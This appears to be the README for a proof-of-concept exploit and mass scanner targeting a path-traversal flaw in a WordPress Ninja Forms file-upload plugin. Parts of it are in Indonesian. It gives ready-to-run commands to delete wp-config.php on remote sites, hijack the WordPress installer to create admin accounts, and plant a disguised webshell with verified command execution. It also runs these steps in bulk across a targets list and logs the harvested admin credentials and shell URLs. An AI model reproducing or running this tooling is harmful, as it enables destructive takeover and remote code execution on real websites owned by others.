PoC and scanner for CVE-2026-126537, an unauthenticated path-traversal file deletion/read in Ninja Forms File Uploads <= 3.3.36, with takeover flow and Docker lab.
Unauthenticated arbitrary file deletion (and arbitrary file read) through
files[].data.file_path on public Ninja Forms submissions, reached by setting
extra.saveProgress.
| Advisory | WPScan vdb c2acd746-84cd-4233-8ac5-d7fc73179ca0 (published 2026-11-11) |
| CVSS | 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22 |
| Affected | ninja-forms-uploads ≤ 3.3.36 |
| Fixed | 3.3.37 (2 Nov 2026) |
| Researcher credit | daroo |
| Impact | delete wp-config.php → WordPress setup screen → site takeover; read any readable file through the configured S3 / Dropbox / Google Drive bucket |
poc.py — stdlib only, no dependencies.
python3 poc.py # interactive menu (1 scan 2 exploit 3 mass-scan 4 mass-exploit 0 exit)
python3 poc.py --url https://target # non-destructive scan
python3 poc.py --url https://target --exploit --path /var/www/html/wp-config.php --wait 60
python3 poc.py --targets targets.txt --threads 20 --output hits.txt # mass scan
python3 poc.py --targets targets.txt --exploit --path /var/www/html/wp-config.php
Useful flags: --page /contact (hint a page that renders the form), -k (skip TLS
verification), --wait (seconds to wait for the background job), -v.
| tag | meaning |
|---|---|
VULN | version < 3.3.37 and the server accepted a client-chosen file_path |
VULN-VER-MISMATCH | the pipeline accepted a client path while the readme advertises ≥ 3.3.37 |
VULN+TAKEOVER | wp-config.php really is gone: / now redirects to setup-config.php |
VULN+QUEUED | payload accepted and queued; the background job runs on the site's own cron |
PATCHED | version ≥ 3.3.37 and the payload was refused |
NO-SIGNAL | payload refused, version unknown/old — no connected external service, or background action missing |
FORM-REJECTED | the form's validation / captcha blocked the submission |
BLOCKED | WAF or edge refused the POST |
TAKEOVER | installer run on the operator database, admin account created and its session verified |
TAKEOVER+SHELL | admin created and the 0xfay webshell deployed + command execution verified |
TAKEOVER-NO-SHELL | admin created, shell upload/verification failed |
TAKEOVER-UNVERIFIED | installer reported success, admin session could not be confirmed |
TAKEOVER-FAILED | installer step refused (bad DB, already installed, blocked) |
NOT-TAKEOVERABLE | no setup screen — wp-config.php is still there (run --exploit first) |
NO-FORM / NO-NF-UPLOADS | nothing to attack on the visible surface |
evidence/sample-output.txt)# scan — host rentan (non-destruktif)
VULN-VER-MISMATCH | http://127.0.0.1:8091 | v3.3.37 form#2 field#5 accepted a client-chosen file_path
# scan — host sudah 3.3.37
PATCHED | http://127.0.0.1:8091 | v3.3.37 - fixed in 3.3.37
# exploit — job background sudah jalan di window --wait → hit penuh
VULN+TAKEOVER | http://127.0.0.1:8091 | wp-config.php deleted -> setup screen (/var/www/html/wp-config.php)
# exploit — job belum jalan (cron situs lambat/mati) → jujur, belum terhapus
VULN+QUEUED | http://127.0.0.1:8091 | /var/www/html/wp-config.php queued; background job had not run within 12s (...)
# mass
[=] 3 targets, 2 hit
Exit code: 0 = minimal satu target VULN*, 2 = selain itu (jangan pakai exit code sebagai satu-satunya sinyal).
--takeoverWordPress yang tidak menemukan wp-config.php akan menjalankan installernya sendiri
tanpa kredensial apa pun. Tool menjalankan urutan itu terhadap database kosong milik
operator (boleh MySQL remote) lalu memverifikasi sesi admin:
$ python3 poc.py --url https://target --takeover --dbhost db.milikku.test --dbname wt --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' -v
setup screen confirmed (wp-config.php is gone)
wp-config.php written (installer connected to the operator database)
admin session check: administrator
TAKEOVER | https://target | admin 'audit' created on 'wt' (wp-config.php now points there)
Prasyarat: wp-config.php sudah hilang (jalankan --exploit lebih dulu) dan Anda punya
database kosong yang bisa diakses target. Setelah admin aktif, jalur ke RCE adalah plugin
upload biasa (terbukti di lab: uid=33(www-data)); tool ini berhenti di admin — tidak
mengunggah apa pun sendiri.
newadmin.txt & shells.txtSetiap admin yang berhasil dibuat dan setiap shell yang berhasil dipasang ditulis ke file
sendiri (satu baris per hit, header # run <waktu> per sesi, jadi aman di-append antar run):
# newadmin.txt
http://target | user=audit | pass=Audit!Pass2026 | db=db.saya.test/wt prefix=w99e6040_ | admin-verified
# shells.txt
http://target/wp-content/plugins/nfu-a07a8978/nfu-a07a8978.php | user=audit2 | pass=Shell2xfay!2026 | uid=33(www-data) | marker=0xfay-bc36a4f718 | verified
Shell-nya adalah 0xfay shell (~/CVE-MEGAPACK/payloads/ws.php) yang dikirim sebagai
plugin carrier (Plugin Name: header disuntik supaya WP menerima zip-nya). Verifikasi yang
dilakukan tool sebelum menulis baris: ?id=1 mengembalikan marker, login p=<pass>
berhasil, dan ?c=id mengembalikan uid=….
Mass (satu targets.txt):
$ python3 poc.py --targets targets.txt --takeover --rce --threads 10 --dbhost db.saya.test --dbname wt --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' --shell-pass 'Shell0xfay!2026'
[*] 3 targets, mode=takeover + shell, admins -> newadmin.txt, shells -> shells.txt
TAKEOVER+SHELL | https://t1 | admin 'audit' + shell deployed
NOT-TAKEOVERABLE | https://t2 | no setup screen: wp-config.php still present (run --exploit first)
[=] 3 targets, 1 hit, 1 admin, 1 shell -> newadmin.txt | shells.txt
Tiap target memakai table prefix acak (w<hex>_) sehingga banyak instalasi bisa
berbagi satu database. Flag: --admin-out / --shell-out untuk mengganti nama file.
Yang tidak diberikan CVE ini sendiri: primitive write/upload (lihat
CVE-2026-126537-report.md §9b). Sisi read juga terbatas — URL objek di bucket berupa
presigned 1 jam dengan kredensial situs, konsumennya halaman admin, jadi penyerang tanpa
akses bucket tidak bisa menarik file hasil exfil.
It submits the crafted payload with a probe path under /tmp that does not
exist and looks at whether the server decorated our file entry
(external_locations, custom_path). Those keys are written by
NF_FU_External_Abstracts_Service::process_upload() — i.e. the server used the
attacker-controlled file_path instead of a stored one. Nothing is uploaded and
nothing is deleted.
maybe_delete_server_file()→unlink().
Without either, the read (upload to the attacker's-visible bucket) still
happens, but the local file survives./wp-cron.php
while waiting (--wait).